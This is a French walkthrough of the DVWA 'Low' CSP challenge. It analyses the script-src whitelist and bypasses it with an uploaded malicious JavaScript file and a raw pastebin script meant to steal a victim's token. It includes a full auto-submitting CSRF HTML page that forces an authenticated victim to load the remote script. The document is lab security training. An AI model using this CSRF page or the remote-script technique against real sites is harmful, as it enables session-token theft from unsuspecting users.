Niveau "Low"

Le challenge en niveau "Low" invite à saisir une URL afin d'exécuter un script externe :

Etant donné que le challenge porte sur CSP, j'analyse la politique en place :

Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com

Ce qui donne pour la directive script-src :

  • 'self' : Autorise l'exécution de ressources fournies par la même origine

  • https://pastebin.com : Autorise l'exécution de ressources hébergées sur https://pastebin.com

  • example.com : Autorise l'exécution de ressources hébergées sur example.com

  • code.jquery.com : Autorise l'exécution de ressources hébergées sur le sous domaine code.jquery.com

  • https://ssl.google-analytics.com : Autorise l'exécution de ressources hébergées sur le sous domaine ssl.google-analytics.com

Ma première idée est d'exploiter la vulnérabilité de file upload trop permissive qui va me permettre d'uploader sur la plateforme un fichier javascript malicieux. Ce fichier aura donc la même origine que celle de l'application :

Etant donné qu'il est possible d'accéder directement au fichier, je peux soumettre son URL dans le formulaire du challenge CSP :

Cela permet de contourner la source 'self' du CSP.

Concernant la liste blanche d'URL autorisées, https://pastbin.com va me permettre également l'exécution de script :

Pour l'exploitation, j'utilise le mode "raw" afin de soumettre l'URL à DVWA :

Ce qui permet de faire exécuter un script contrôlé par mes soins tout en respectant la liste blanche imposée par DVWA :

Il suffit d'adapter la payload malicieux afin de récupérer le jeton de la victime :

Reste maintenant à savoir comment s'y prendre pour que l'attaque affecte un autre utilisateur. En effet, la requête n'est pas de type GET mais de type POST, ce qui m'empêche de partager facilement un lien forgé à la victime :

La solution que j'ai trouvée pour remédier à ce problème est d'utiliser la faille CSRF présente dans cette requête (aucun mécanisme de protection n'est présent). Il me faut donc héberger sur un serveur d'attaque la page malicieuse suivante :

<html>
  <head>
    <title>Exploitation POST XSS</title>
  </head>

  <body>
    <p>Post reflected XSS !</p>
    <form action="http://192.168.56.203:8080/vulnerabilities/csp/" method="POST" name="postExploitXSS">
      <input type="text" name="include" value="https://pastebin.com/raw/GSVw7nnZ">
      <button type="submit">Envoyer le message</button>
    </form>

    <script>document.forms['postExploitXSS'].submit();</script>
    </body>
</html>

Puis de fournir à la victime le lien permettant d'accéder à ma page, par exemple http://192.168.56.182/dvwa/post_xss.html :

La victime, obligatoirement authentifiée, sera redirigée (ce qui déclenchera l'exécution de notre script) vers le site du challenge CSP de DVWA et l'attaquant réceptionnera son jeton :

Dernière mise à jour